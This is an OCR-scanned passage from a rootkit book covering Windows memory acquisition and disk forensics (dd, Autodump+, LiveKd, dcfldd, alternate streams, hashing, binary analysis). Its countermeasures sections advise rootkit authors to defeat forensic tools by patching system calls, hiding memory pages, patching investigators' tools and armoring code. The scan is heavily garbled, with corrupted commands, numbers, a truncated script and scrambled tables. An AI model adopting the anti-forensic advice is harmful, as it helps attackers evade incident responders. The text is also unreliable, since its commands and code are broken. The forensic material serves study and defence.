Traditionally, the software tool of choice for taking a snapshot of memory on Windows was a specially-modified version of the device-to-device copy program (dd .exe) developed by George M. Garner of GMG Systems. 13 Anyone who has worked on UNIX will recognize this executable. Using this version of dd. exe, you could obtain a full system memory dump at run time by issuing the following command:
C:\>dd.exe if=\\.\PhysicalMemory of=D:\2aeB-98-24.bin bs=4996 -localwrt
One limitation of dd . exe is that it yields a "moving" snapshot. Because the system is still executing while dd . exe does its trick, the memory image that it captures will probably not be consistent. Data values will change while bytes are persisted to the dump file, resulting in a jigsaw puzzle where the pieces don't always fit together neatly. Another limitation of this program is that, even though the image file is chock full of system structures, there aren't that many tools for analyzing the file to any degree of depth. For the most part, the forensic investigator is stuck with: String matching Signature matching
String matching, which literally parses the file for human-readable strings, can be performed with a tool like BinText. exe from Foundstone l4 or maybe just a hex editor. Signature matching is a technique that searches the memory snapshot for binary fingerprints that identify modules of interest or specific kernel objects.
KnTDD.exe
The really bad news is that Garner's dd . exe program no longer allows you to specify the \ \. \ PhysicalMemory pseudo-device as an input file (with the release of Vista, user-mode access to \Device \ Phys icalMemory was disabled). This pretty much puts the kibosh on dd . exe as a viable memory forensics tool.
510
Part III
To deal with all of the previous shortcomings, GMG Systems came out with a commercial (read "licensing fee") tool called KnTDD. exe, which is available "on a case-by-case basis to private security professionals and corporations."ls
Autodump+
Just because free tools like dd. exe have been sidelined doesn't mean that the budget-minded forensic investigator is out of options. The Autodump+ utility, which ships with the WDK, can be used to acquire a forensically viable memory image of a specific running process (naturally, this could be problematic if the process in question has been hidden). Autodump+ is basically a Visual Basic script wrapper that uses (db. exe behind the scenes to generate a dump file and log information. It operates in one of two modes: Crash mode Hangmode
In crash mode, (db. exe attaches to a process and waits for it to crash. This isn't very useful for our purposes, so we'll stick with hang mode. In hang
mode, (db. exe attaches to a process in a noninvasive manner. Then it freezes the process and dumps its address space. When (db. exe is done, it detaches from the process and allows it to resume execution. The following batch file demonstrates how to invoke Autodump+:
~cho
off
setlocal set _NT_SYMBOL_PATH=SRV*C:\wlndows\symbols*http://msdl.microsoft.com/download/symbols set PATH=%PATH%;C :\Program Files\Debugging Tools for Windows\
adplus .vbs -hang -p % 1
-0
"D:\RAMDMP\"
endlocal
This batch file assumes that its first argument (%1) is a PID. Note how we set up an environment and configure the symbol path to use the Microsoft symbol server in addition to the local store (i.e., ( : \windows\symbols). This batch file places the output of the adplus . vbs script in the D: \RAMDMP directory. Within this directory, Autodump+ will create a subdirectory with the following (rather lengthy) name:
D:\RAMDMP\Han~Mode __ Date_a8-27-2aa8__Time_a8-31-37AM\
15 http://gmgsystemsinc.comlknttoolsl
Po rt III
I 511
The first file (PID-xxxx_ *. dmp) is the memory dump of the process. The four "x" characters will be replaced by a PID of the process and there will be a ton of additional information tacked on to the end. Basically, it's the only file with the .dmp extension. Within the output subdirectory, the debugger places yet another subdirectory named (DBScripts that stores a .cfg file that offers a play-by-play log of the actions that the debugger took in capturing its image. If you want to see exactly what (db. exe does when Autodump+ invokes it, this file is the final authority. The ADPlusJeport. txt file provides an overview of what happened during the script's execution. A more detailed log is provided by the PID-xxx - * .log file . Last, but not least, the Process_list. txt file records all of the tasks that were running in the system when the dump was created. The integrity of a dump file produced by Autodump+ can be verified using the dumpchk. exe tool, which also ships with the WDK.16
@echo off setlocal set JNT_SYMBOL_PATH=SRV*C:\windows\symbols*http://msdl .microsoft.com/download/symbols set PATH=%PATH%;C:\Program Files\Debugging Tools for Windows\ end local
The truly brilliant aspect of using a debugger to create a memory dump is that the debugger can be used to access a binary snapshot and utilize its rich set of native commands and extension commands to analyze the dump's contents. After all, a memory dump is only as useful as the tools that can be used to analyze it. The difference between raw memory dumps and debugger-based memory dumps is like night and day. Hunting through a binary image for strings and file headers is all nice and well, but it doesn't come anywhere near the depth of inspection that a debugger can offer. The following batch file shows how (db. exe could be invoked to analyze a dump file. Note the file name is supplied as the first argument (%1) to the batch file.
@echo off setlocal
16 Microsoft Corporation, "How to Use Dumpchk.exe to Check a Memory Dump File," Knowledge Base Article 315271, December 1, 2007.
512
Port III
end local
LiveKd.exe
If you want to create a memory dump (at run time) of the entire system, not just a single process, the LiveKd .exe tool from Sysinternals is a viable alternative. All you have to do is crank it up and issue the . dump meta-command.
kd> .dump /f D:\RAM-299S-0S-2S.dmp
As before, you can validate the dump file with dumpchk. exe and then analyze it with Kd. exe. Unlike Autodump+ , Li veKd. exe doesn't freeze the machine while it works. Thus, it suffers from the same problem that plagued George Garner's dd. exe tool. The snapshot that it produces is blurry and can be an imperfect depiction of the machine's state because it represents an amalgam of different states.
(rash Dumps
Crash dumps are created when the system issues a bug check and literally turns blue. The size of the dump, and the amount of data that it archives, must be configured through the System Properties window. Furthermore, as described earlier in the book, to initiate crash dump creation on demand, either a kernel debugger must already be running (which is practically unheard of for a production server) or the machine must be attached to a non-USB keyboard and have the correct registry value tweaked. Though this option is obviously the most disruptive and requires the most preparation, it's also the most forensically sound way to create a memory dump using nothing but software (see Table 9-1). Not only are crash dumps designed for analysis by kernel debuggers, but they are accurate snapshots of the system at a single point in time. Naturally, if you're going to exercise this option, you should be aware that it will require a nontrivial amount of space on one of the machine's fixed drives. If done carelessly, it could potentially destroy valuable evidence. One way to help mitigate this risk is to create a crash dump in advance and simply overwrite this file during the investigation. You might also want to perform this sort of RAM acquisition as the last steps of a live response so that shutting down the machine doesn't cut the party short.
Table 9-1
Dump Type Run time Pro (on Dump is an amalgam of states Requires the Debugger Tools install Some tools don't offer many analysis options Crosh dump Most forensically sound tactic Requires a machine shutdown Can only write files to a fixed, internal drive Preparation is nontrivial (registry edits, etc.)
Hardware-Based Acquisition
One problem with software-based RAM acquisition tools is that they run in the very system that they're processing_In other words, a software-based memory dumping tool essentially becomes a part of the experiment and its presence may be disruptive. It would be preferable for a RAM acquisition tool to maintain a more objective frame of reference, outside of the address space being dumped. This is the motivation behind using hardware-based RAM acquisition tools. This is not necessarily a new idea. The OpenBoot firmware architecture, originally implemented on the SPARC platform, supports dumping system memory to disk. 17 With OpenEoot, the user can suspend the operating system and invoke the firmware's command-line interface by pressing the STOP-A or Ll-A key sequence. The firmware presents the user with an ok command prompt. At this point, the user can issue the sync command, which synchronizes the file systems, writes a crash dump to disk, and reboots the machine.
ok sync
On the 1A-32 platform, one hardware-based tool that emerged back in 2003 was a proof-of-concept device called Tribble. ls This device could be implemented on a PCI expansion card that interfaced to an external drive. Tribble has a physical switch on the back that allows it to be enabled on command. While disabled, the device remains dormant so that it won't respond to PCI bus queries from the host machine (this could be viewed as a defensive feature). When enabled, Tribble commandeers control of the PCI bus, suspends
System Administration Guide: Basic Administration, PartNo: 819-2379-13, June 2008. 18 Carrier and Grand, "A Hardware- Based Memory Acquisition Procedure for Digital Investigation ," Digital Investigation , February 2004.
17 Sun Microsystems,
the processor, and then uses direct memory access (DMA) to copy the contents of memory. This would seem to be an ideal solution. Tribble is insulated from tampering before being enabled, is platform independent, and it even freezes the processor so that a rootkit can't interfere with its operation. The only downsides are the scarcity of dump analysis tools and the requirement that the device be installed before an incident occurs (which really isn't asking that much). Another hardware-based solution for the IA-32 platform was a product sold by Komoku, named CoPilot. Like Tribble, CoPilot is based on a PCI card that can be used to monitor both the memory and file system of a host machine. In March of 2008 Komoku was acquired by Microsoft. During their announcement of the acquisition, Microsoft didn't mention what would become of this technology. Last but not least, it's been demonstrated that it's possible to use a FireWire device to capture a memory snapshot via DMA. At the 2006 RUXCON, in Australia, Adam Boileau of Security-Assessment.com presented a proof-ofconcept implementation that worked against a laptop running Windows XP SP2. This clever hack involved modification of the FireWire device's CSR register so that, to Windows, the device would appear as a peripheral that was authorized for DMA.
Countermeasures
"We live in the 21st century, but apparently can't reliably read memory of our computers!" - Joanna Rutkowska Countermeasures exist for both software-based and hardware-based RAM acquisition. Software-based RAM acquisition tools can be subverted by patching the system calls that these tools use to function (e.g., KeBugCheck() , NtMapViewofSection() , NtReadFile() , etc.). Most software-based forensic tools eventually invoke kernel-mode routines in memory, regardless of whether they're booted off of a trusted medium or not, and that's where they'll be stymied. It's like having crooked and honest cops together in the same office space. Another tactic that can be employed to undermine the software-based tools would be to head down closer to the hardware and hide the physical memory used by a rootkit. This clever feat could be accomplished by marking the virtual memory pages containing the rootkit as "not present" and then installing
a customized page fault handler (i.e., hooking INT exeE) so that "read/write" references to these pages (as opposed to "execute" references) would yield nothing of interest. This approach was implemented in a project called Shadow Walker that was presented by Jamie Butler and Sherri Sparks at the 2007 Black Hat Japan conference. Finally, there's always the option of a direct implementation-specific attack against the tools that initiates the memory dump (i.e., KnTDD. exe, Autodump +, Li veKd . exe). In this scenario, the rootkit is almost like an antivirus package, only it's scanning for White Hat tools. Using signatures to identify these tools should work just fine . When the rootkit finds what it's looking for, it can patch the memory image of the forensic tool to keep a lid on things. With respect to hardware-based RAM acquisition, one powerful countermeasure is to manipulate the motherboard components that these devices rely on to read memory. After all, a PCI expansion card doesn't exist in a vacuum. There are other players on the board that can impact what it sees. In 2007, at the Black Hat conference in D.C., Joanna Rutkowska explained how PCI tools could be foiled on the AMD64 platform by tweaking the map table of the motherboard's northbridge. 19 Specifically, she discussed how to booby-trap the system (so that it crashed when a PCI device attempted DMA reads) and how to feed a PCI device misinformation. While I'm sure Joanna's presentation knocked the wind out of people who thought the hardware approach was invincible, it's also a platform-dependent countermeasure. From the vantage point of a software engineer working with limited resources, going this route is really only viable for extremely high-value targets. Faced with the possibility hardware-based or software-based solutions, my own personal inclination would be to fall back on "armoring" (via polymorphism, obfuscation, misdirection, and encryption) in hopes of making a rootkit too expensive to analyze. This sort of defense appeals to me because it works no matter which tool is used to acquire the RAM image. Sure, let them dump the system's memory if they want. Finding what they're after and then understanding what they've found is a whole different ballgame. In my mind, this approach offers a better return on investment with regard to rootkit development. I'll delve into the topic of code armoring in the next chapter.
19 http j /invisiblethings.org/papers.html
Chapter 10
81181111, 81181111, 81118100, 81181811, 81181001, 81118100, 81110011, 001_, 81000011, 81001800, 0011800100110000
In this chapter we'll examine the case where a rootkit persists itself on disk. In particular, I'll discuss how a forensic analyst will try to find disk-based rootkits during an investigation and then explain how to throw a monkey wrench into the process. The technique of using network-based reinfection, originally the purview of mal ware variants, will be addressed at the end of this chapter.
517
(ADSs). Once they've got their initial set of files, they'll harvest the metadata associated with each file (i.e., full path, size, timestamps, hash checksums, etc.) with the aim of creating a snapshot of the file system's state. In the best-case scenario, an initial snapshot of the system has already been archived and it can be used as a point of reference for comparison. We'll assume that this is the case in an effort to give our opposition the benefit of the doubt.
Aside
Using the BIOS or a peripheral device's PCI-ROM to persist a rootkit is an extreme solution that garners severe tradeoffs. Firmware-based rootkits can difficult to detect but also difficult to construct. While this approach has successfully been implemented in practice by inventory tracking products like Computrace,l it's a hardware-specific solution that requires a heavy investment in terms of development effort. Absolute Software, the maker of Computrace, had the benefit of working closely with computer OEMs to implement hardware-level support for their product. You'll have no such advantage, and there will be a mountain of little details to work out. Furthermore, a given hardware vendor may not even make the tools necessary to work with their firmware binaries publicly available. In my opinion, a firmware-based rootkit is essentially a one-shot deal that should only be used in the event of a high-value target where the potential return would justify the R&D required to build it. Also, because of the instance-specific nature of this technique, I'd be hard pressed to offer a single recipe that would a useful to the majority of the reading audience. Though a firmwarerelated discussion may add a bit of novelty and mystique, in the
greater scheme of things it makes much more sense to focus on methods that are transferable from one motherboard to the next.
If you insist on using hardware ROM, I'd recommend Darmawan Salihun's book, BIOS Disassembly Ninjutsu Uncovered (ISBN 1931769605).
The forensic investigator can then use these two snapshots (the initial snapshot and the current snapshot) to whittle away at the list of files, removing files that exist in the original snapshot and don't show signs of being altered.
1 http://www.absolute.com!
In other words, remove "known good" files from the data set. The end result is a collection of potential suspects. From the vantage point of a forensic investigator, this is where the rootkit is most likely to reside.
Fo rensic Duplication
Figure 10-1
Having pruned the original file list to a subset of suspicious files, the forensic investigator will use signature analysis to identify executable files Gust because a file ends with a .txt extension doesn't mean that it isn't a DLL or a driver). The forensic investigator can then use standard tactics to analyze and reverse engineer the resulting executables in an effort to identify malicious programs.
Forensic Duplication
There are a number of well-known commercial tools that can be utilized to create a forensic duplicate of a hard drive, like EnCase2 or FTK.3Forensic investigators on a budget can always opt for freeware like the dcfldd package, which is a variant of dd written by Nick Harbour while he worked at the Department of Defense Computer Forensics Lab. 4
> Note:
Cloning software, like Symantec's Ghost, should never (and I mean NEVER) be used to create a forensic duplicate. This is because cloning software doesn't produce a sector-by-sector duplicate of the original disk. From the standpoint of cloning software, which is geared toward saving time for overworked administrators, this would be an inefficient approach .
Part III
1519
As with many UNIX-based deliverables, the dcfldd package is distributed as source code for maximum portability. Hence, it will need to be built before it can be invoked. This can be done on a Linux system by issuing the following commands in the directory containing the package's source code:
./ configure make make check make install
The first command configures the package for the current system. The second command compiles the package. The third command runs any self-tests that ship with the package, and the last command install the package's files in /usr/local/bin, /usr/local/man,etc. Once this package has been installed, you can attach the original evidence disk to your forensic workstation and create a duplicate with a command that will look something like:
dcfldd if=/dev/sdb of=Il.img conv=notrunc,noerror,sync hashwindow=S12 hashlog=hl.log
This command's options can be interpreted as follows : if=/dev/sdb of=l1.img cony The input file is the SCSI disk /dev/sdb The output file is in the current directory and is named 11. img Conversion options (see next three items) Do not truncate the output file in the event of an error Continue processing in the event of a read error In the event of a read error, set corresponding output to zeroes Computes the MD5 hash of every 512 bytes of data transferred Sends MD5 hash output to a file named hI. log
hashwindow=512 hashlog=hl.log
This command takes a disk as an input file and creates a binary image as an output file. The conversion of data from the disk to the image file occurs so that if a read error occurs, no false evidence is introduced into the image file (the worst thing that happens is the associated blocks of data are all zero). As this command processes the evidence disk, it periodically computes hash checksums so that the integrity of the forensic duplicate can be verified later on. These checksums are stored in the text file specified by the hashlog
option. For example, if a forensic investigator wanted to verify a secondgeneration disk image named 12. img, he could do so using the following two commands:
dcfldd if=I2.img of=/dev/null conv=notrunc,noerror,sync hashwindow=S12 hashlog=h2.1og diff hl.log h2.1og
In the case where a forensic investigator wants to replicate the original disk on another hard drive in order to deal with individual files (rather than one big binary image), he can zero out the destination hard drive and then copy over the image using the commands:
dcfldd if=/dev/zero of=/dev/sdc conv=notrunc,noerror,sync dcfldd if=Il.img of=/dev/sdc conv=notrunc,noerror,sync hashwindow=S12 hashlog=h3.1og diff hl.log h3.1og
Enumerating ADSes
A stream is just a sequence of bytes. According to the NTFS specification, a file consists of one or more streams. When a file is created, an unnamed default stream is created to store the file's contents (its data). You can also
5 http://www.quetek.com 6 http://www.sleuthkit.orglsleuthkit/ 7 http://foremost.sourceforge.net/
Part III
1521
establish additional streams within a file. These extra streams are known as
As you can see, the adminDB. db file has two additional data streams associated with it (neither of which affects the directory's total file size of 3,358,844 bytes). One is a configuration file and the other is a tool of some sort. As you can see, the name of an ADS file obeys the following convention: FileName:StreamName:$StreamType.
The file name, its ADS, and the ADS type are delimited by colons. The stream type is prefixed by a dollar sign (i.e., $DATA). Another thing to keep in
mind is that there are no timestamps associated with a stream. The file times associated with a file are updated when any stream in a file is updated. The problem with using the dir command to enumerate ADS files is that the output format is difficult to work with. The ADS files are mixed in with all of the other files and there's a bunch of superfluous information. Thankfully there are tools like lads. exes that format their output in a manner that's more concise. For example, we could use lads. exe to summarize exactly the same information as the previous dir command:
C:\>lads C:\users\sysop\Datafiles\ Scanning directory C:\users\sysop\Datafiles\ size ADS in file 1,019 C:\users\sysop\Datafiles\adminDB.db:ads1.txt 733,520 C:\users\sysop\Datafiles\adminDB.db:ads2.exe
As you can see, this gives us exactly the information we seek without all of the extra fluff. We could take this a step further using the /s switch (which enables recursive queries into all subdirectories) to enumerate all of the ADS files in a given file system.
lads.exe C:\ /5 > adsFiles.txt
The acronym MAC stands for modified, accessed, and created. Thus, MAC timestamps indicate when a file was last modified, last accessed, or when it was created. Note that a file can be accessed (i.e., opened) without being modified (altered in some way) such that these three values can all be distinct.
If you wade into the depths of the WDK documentation, you'll see that Windows actually associates four different time-related values with a file. The values are represented as 64-bit integer data types in the FILE_BASIC_ INFORMAnON structure defined in wdm. h.
typedef struct FILE_BASIC_INFORMATION
{
LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; ULONG FileAttributes; } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
These time values are measured in terms of 100-nanosecond intervals from the start of 1601, which explains why they have to be 64 bits in size. CreationTime LastAccessTime LastWriteTime ChangeTime Indicates when the file was created Indicates when the file was last accessed Indicates when the file was last written to Indicates when the file was last changed
These fields imply that a file can be changed without being written to, which might seem counterintuitive at first glance. We can collect name, path, size, and timestamp information using the following batch file:
@echo off dir C:\ /a /b /0 /5 > Cdrive.txt cscript.exe /nologo fileMeta.js Cdrive.txt > CdriveMeta.txt
The first command recursively traverses all of the subdirectories of the C: drive. For each directory, it displays all of the subdirectories and then all of the files in bare format (including hidden files and system files).
C:\$Recycle.Bin C:\Asi C:\Boot C:\Documents and Settings C:\MSOCache C:\PerfLogs C:\Program Files C:\PrograrrData C:\Symbols C:\System Volume Information C:\Users C:\WinOOK C:\Windows C:\autoexec.bat
524
Part III
The second command takes every file in the list created by the first command and, using Jscript as a scripting tool, prints out the name, size, and MAC times of each file. Note that this script ignores directories.
if(WScript.arguments.Count()==0)
{
var fileName; var fileSysterrObject = new Acti veXObject ("Scripting. FileSysterrObject") ; fileName = WScript.arguments . item(e); if(!fileSysterrObject .FileExists(fileName
{
WScript.echo
(
textFileName+": "+
size+": "+
textFile.Close();
The output of this script has been delimited by vertical bars (:) so that it would be easier to import to Excel or some other analytic application.
Part III
/525
A cryptographic hash function is a mathematical operation that takes an arbitrary stream of bytes (often referred to as the message) and transforms it into a fixed-size integer value that we'll refer to as the checksum (or message
digest).
hash(message) -7 checksum In the best case, a hash function is a one-way mapping such that it's extremely difficult to determine the message from the checksum. In addition, a well-designed hash function should be collision resistant. This means that it should be hard to find two messages that resolve to the same checksum. These properties make hash functions useful with regard to verifying the integrity of a file system. Specifically, if a file is changed during some window of time, the file's corresponding checksum should also change to reflect this modification. Using a hash function to detect changes to a file is also attractive because computing a checksum is usually cheaper than performing a byte-by-byte comparison. For many years, the de facto hash function algorithm for verifying file integrity was MD5. This algorithm was shown to be insecure; which is to say that researchers found a way to create two files that collided, yielding the same MD5 checksum.9 The same holds for SHA-l, another well-known hash algorithm. lO Using an insecure hashing algorithm has the potential to make a system vulnerable to intruders who would patch system binaries (to introduce Trojan programs or backdoors) or hide data in existing files using steganography. In 2004, the International Organization for Standardization (ISO) adopted the Whirlpool hash algorithm in the ISO/IEe 10118-3:2004 standard. There are no known security weaknesses in the current version. Whirlpool was created by Vincent Rijmen and Paulo Barreto. It works on messages less than 2256 bits in length and generates a checksum that's 64 bytes in size. Jesse Kornblum maintains a package called whirlpooldeep that can be used to compute the Whirlpool checksums of every file in a file system. ll While there are several, "value-added" feature-heavy, commercial packages that will
9 Xiaoyun W ang, Hongbo Yu, "How to Break MD5 and Other Hash Functions," EUROCRYPT erlag, 2005. 2005, LNCS 3494, pp. 19-35, Springer-V 10 Xiaoyun W ang, Yiqun Lisa Yin, Hongbo Yu, "Finding Collisions in the Full SHA-l," Advances in Cryptology - CRYPTO 2005: 25th Annual International Cryptology Conference, Springer 2005, ISBN 3-540-28114-2. 11 http://md5deep.sourceforge.net/
do this sort of thing, Kornblum's implementation is remarkably simple and easy to use. For example, the following command can be used to obtain a hash signature for every file on a machine's C: drive:
whirlpooldeep.exe -s -r c:\ > OldHash.txt
The - 5 switch enables silent mode, such that all error messages are suppressed. The - r switch enables recursive mode, so that all of the subdirectories under the C: drive's root directory are processed. The results are redirected to the OldHash. txt file for archival. To display the files on the drive that don't match the list of known hashes at some later time, the following command can be issued:
whirlpooldeep.exe
-x OldHash.txt -s -r c:\
> DoNotMatch.txt
This command uses the file checksums in OldHash. txt as a frame of reference against which to compare the current file checksum values. Files that have been modified will have their checksum and full path recorded in DoNotMatch. txt.
In the best-case scenario, the forensic investigator will have access to an initial pair of snapshots that can provide a baseline against which to compare the current snapshots. If this is the case, the current set of files that have been collected can be pruned away by putting the corresponding metadata side by side with the original metadata. Given that the average file system can easily store a hundred thousand files, doing so is a matter of necessity more than anything else. The forensic analyst doesn't want to waste time examining files that don't contribute to the outcome of the investigation; the intent is to isolate and focus on the anomalies.
One way to diminish the size of the forensic file set is to remove the elements that are known to be legitimate (i.e., known good files) . This would include all of the files whose checksums and other metadata haven't changed since the original snapshots were taken. This will usually eliminate the bulk
Po rt III
I 527
of the candidates. Given that the file metadata we're working with is ASCII text, the best way to do this is by a straight up comparison. This can be done manually with a GUI program like WinMerge,12 or automatically from the console via the fc . exe command:
fc.exe /L IN CdriveMetaOld.txt CdriveMetaCurrent.txt whirlpooldeep.exe -x OldHash.txt -s -r C:\ > DoNotMatch.txt
The I L option forces the fc . exe command to compare the files as ASCII text. The IN option causes the line numbers to be displayed. For cryptographic checksums, it's usually easier to use whir Ipooldeep. exe directly (instead of fc . exe or WinMerge) to identify files that have been modified. A forensic investigator might then scan the remaining set of files with antivirus software or perhaps an anti-spyware suite that uses signature-based analysis to identify objects that are "known bad files" (e.g., Trojans, backdoors, viruses, downloaders, worms, etc.). These are malware binaries that are prolific enough that they've actually found their way into the signature databases of security products sold by the likes of McAfee and Symantec.
>
Note: This brings a rather disturbing fact to light .. . a truly devious attacker might place known bad files on a machine as a decoy in an effort to draw the attention of an overworked forensic investigator away from the actual rootkit. The investigator might see a well-known backdoor, prematurely conclude that this is the source of the problem, record those findings, and then close the case before discovering the genuine so urce of the incide nt. In a world ruled by budgets and billable hours, don't think that this isn't a possibility. Even board-certified forensic pathologists have been known to cut a few corners now and again.
Once the known good files and known bad files have been trimmed away, the forensic investigator is typically left with a manageable set of potential suspects (see Figure 10-2). Noisy parts of the file system, like the temp
Figure 10-2
Potential Suspects
12 http://www.winmerge.orgl
528
Part III
directory and the recycle bin, tend to be repeat offenders. This is where the investigator stops viewing the file system as a whole and starts to examine individual files in more detail.
Aside
The basic approach being used here is what's known as a cross-time diff. This technique detects changes to a system's persistent medium by comparing state snapshots from two different points in time. This is in contrast to the cross-view diff approach that was introduced earlier in the book, where the snapshots of a system's state are taken at the same time but from two different vantage points. Unlike the case of cross-view detection, the cross-time methodology isn't played out at run time. This safeguards the forensic process against direct interference by the rootkit. The downside is that a lot can change in a file system over time, leading to a significant number of false positives. Windows is such a massive, complex OS that in just a single minute, dozens upon dozens of files can change (e.g., event logs, prefetch files, indexing objects, registry hives, application data stores, etc.). In the end, using metadata to weed out suspicious files is done for the sake of efficiency. Given a forensic-quality image of the original drive and enough time, an investigator could perform a raw binary comparison of the current and original file systems. This would unequivocally show which files had been modified and which files had not, even if an attacker had succeeded in patching a file and then appended the bytes necessary to cause a checksum collision. The problem with this low-tech approach is that it would be as slow as tar. In addition, checksum algorithms like Whirlpool are considered to be secure enough that collisions are not a likely threat.
Part III
1529
files always begin with (3xFFD8FFE(3, and Adobe PDF files always begin with
(3x255e4446. A signature analysis tool will scan the header and the footer of a
file looking for these telltale snippets at certain offsets. On the open source side of the fence, there's a tool written by Jesse Kornblum, aptly named Miss Identify, that will identify Win32 applications. 13 For example, the following command uses Miss Identify to search the C: drive for executables that have been mislabeled:
C:\>missidentify.exe -r C:\* C:\missidentify-l .0\sample.jpg
Finally, there are also compiled lists of file signatures available on the Internet. 14 Given the simplicity of the pattern matching approach, some forensic investigators have been known to roll their own signature analysis tools using Perl or some other field-expedient scripting language. These tools can be just as effective as the commercial variants.
Static analysis looks at the executable and its surroundings without actually running it. For example, having isolated a potential rootkit, the forensic investigator might hunt through the registry for references to the executable's file name. If the executable is registered as a KMD it's bound to pop up under the
HKLM\SYSTEM\Cur rentControlSet\Serviceske~
If nothing exists in the registry, the executable may store its configuration parameters in a text file. These files, if they're not encrypted, can be a treasure trove of useful information as far as determining what the executable does. Consider the following text file snippet:
[Hidden Table) hxdef* hacktools
530
Pa rt III
[Hidden Processes] hxdef* ssh.exe sftp .exe [Root Processes] hxdef* sftp.exe
There may be those members of the reading audience who recognize this as part of the .ini file for Hacker Defender. Another quick preliminary check that a forensic investigator can do is to search the executable for strings. If you can't locate a configuration file, sometimes its path and command-line usage will be hard coded in the executable. This information can be very enlightening.
strings
-0
hackware.exe
42172:JJKL 42208:hFB 42248: -h procID hide process 42292: -h file Specifies number of overwrite passes (default is 1) 42360 : -h port hide TCP port 42476: usage: 42536:No files found that match %s . 42568:%systemroot%\system32\hckwr.conf 42605:Argument must be a drive letter e.g. d: 42824: (GB 42828:hFB 42832:hEB
The previous command uses the strings. exe tool from Sysinternals. The -0 option causes the tool to print out the offset in the file where each string was located.
> Note:
The absence of strings may indicate that the file has been compressed or encrypted . This, in and of itself, can be an omen that something is wrong.
One way in which a binary gives away its purpose is in terms of the routines that it imports and exports. For example, a binary that imports the wS2_32. dll probably implements network communication of some sort because it's using routines from the Windows Sockets 2 API. Likewise, a binary that imports ssleay32. dll (from the OpenSSL distribution) is
Port III
I 531
encrypting the packets that it sends over the network and is probably trying to hide something. The dumpbin. exe tool that ships with the Windows SDK can be used to determine what an executable imports and exports. From the standpoint of static analysis, dumpbin . exe is also useful because it indicates what sort of binary we're working with (e.g., EXE, DLL, SYS, etc.), whether symbol information has been stripped, and the binary composition of the file. To get the full monty, use the jall option when you invoke dumpbin. exe.15 Here's an example of the output that you'll see (I've truncated things a bit to make it more readable and highlighted the salient information):
Dunp of file . \HackTool.exe
FILE HEADER VALUES 14C machine (x86) 3 number of sections 41D2F254 time date stamp Wed Dec 29 19:97:16 2994 9 file pointer to symbol table
o nUlllber of sYlllbols
E9 size of optional header 19F characteristics Relocations stripped Executable Line numbers stripped Symbols stripped 32 bit word machine OPTIONAL HEADER VALUES 198 magic # (PE32) 7.10 linker version
40B099 490114
Address Table Name Table o time date stamp 9 Index of first forwarder reference
I~rt
I~rt
15 Microsoft Corporation, "Description of the DUMPBIN utility," Knowledge Base Article 177429, September 2005.
At the end of the day, the ultimate authority on what a binary does and does not do is its machine instruction encoding. Thus, another way to gain insight into the nature of an executable (from the standpoint of static analysis) is to crank up a disassembler like IDA Pro and take a look under the hood. While this might seem like the definitive way to see what's happening, it's more of a last resort than anything else because disassembling a moderately complicated piece of software can be extremely resource-intensive. It's very easy for the uninitiated to get lost among the trees, so to speak. Not to mention that effectively reverse-engineering a binary via disassembly is a rarified skill set, even among veteran forensic investigators (it's akin to earning two Ph.D.s instead of just one). Mind you, I'm not saying that disassembly is a bad idea, or won't yield results. I'm observing the fact that most forensic investigators, faced with a backlog of machines to process, will typically only disassemble after they've tried everything else. One final word of warning: Keep in mind that brandishing a disassembler in the theatre of war assumes the executable being inspected has not been compressed or encrypted in any way. If this is the case, then the forensic investigator can either hunt down an embedded encryption key or simply proceed to the next phase of the game and see if he can get the binary to unveil itself on its own via run-time executable analysis.
Po rt III
I 533
live response snapshot of the system both before and after the unknown executable is run. As with live response, it helps if any log data that gets generated is archived on an external storage location. Once the executable has run, the test machine loses it "trusted" status. The information collected during execution should be relocated to a trusted machine for a post-mortem after the test run IS over. In a nutshell, performing a run-time analysis of an unknown executable involves the following dance steps:
1.
Mount a storage location for logging data. a. b. c. Install and configure diagnostic tools. Take a live response snapshot of the test machine's initial state. Enable the diagnostic tools.
J.
Initiate the unknown executable. Observe and record the executable's behavior. Terminate the unknown executable.
11.
III.
d. e. 2.
Disable the diagnostic tools and archive their logs. Take a live response snapshot of the test machine's final state.
Potential diagnostic tools run the gamut from remote network monitoring to local API tracers. Table 10-1 provides a sample list of tools that could be used.
Table 10-1
T ool Wireshork Nmop TCPView
-
Source www.wireshork.org nmop.org Sysinternols Sysinternols Sysinternals Sysinternals Windows Debugging Tools Windows Debugging Tools
U se Coptures network troffic Scans the test system for open ports Reports 011 local TCP/UDP endpoints Reports process, file system, and registry activity Provides real-time listing of active processes Monitors LDAP communication Traces Windows API calls User-mode and kernel-mode debuggers
f-
As you can see, this is one area where the Sysinternals suite really shines. If you want to know exactly what's happening on a machine in real time, in a
534
Pa rt III
visual format that's easy to grasp, these tools are the author's first choice. In my experience, I've always started by using TCPView to identify overt network communication (if the executable is brazen enough to do so) and then, having identified the source of the traffic, used Process Explorer and Process Monitor to drill down into the finer details. If the TCP/UDP ports in use are those reserved for LDAP traffic (e.g., 389, 636), I might also monitor what's going with an instance of ADInsight. Though these tools generate a ton of output, they can be filtered to remove random noise and yield a fairly detailed description of what an application is doing. In the event that the static phase of the binary analysis indicates that the unknown executable may attempt network communication, the forensic investigator may put the test machine on an isolated network segment in order to monitor packets emitted by the machine from an objective frame of reference (e.g., a second, trusted machine). The corresponding topology can be as simple as two machines connected by a crossover cable or as involved as several machines connected to a common hub ... just as long as the test network is secured by an air gap. The forensic investigator might also scan the test machine with an auditing tool like Nmap to see if there's an open port that's not being reported locally. This measure could be seen as a network-based implementation of cross-view detection. For example, a rootkit may be able to hide a listening port from someone logged in to the test machine by using its own NDIS driver, but the port will be exposed when it comes to an external scan.
Logger. exe is a little known diagnostic program that Microsoft ships with its debugging tools. It's used to track the Windows API calls that an application makes. Using this tool is a cakewalk; you just have to make sure that the Windows debugging tools are included in the PATH environmental variable and then invoke logger . exe.
set PATH=%PATH%;C:\Program Files\Debugging Tools for Windows logger.exe unknownExe.exe
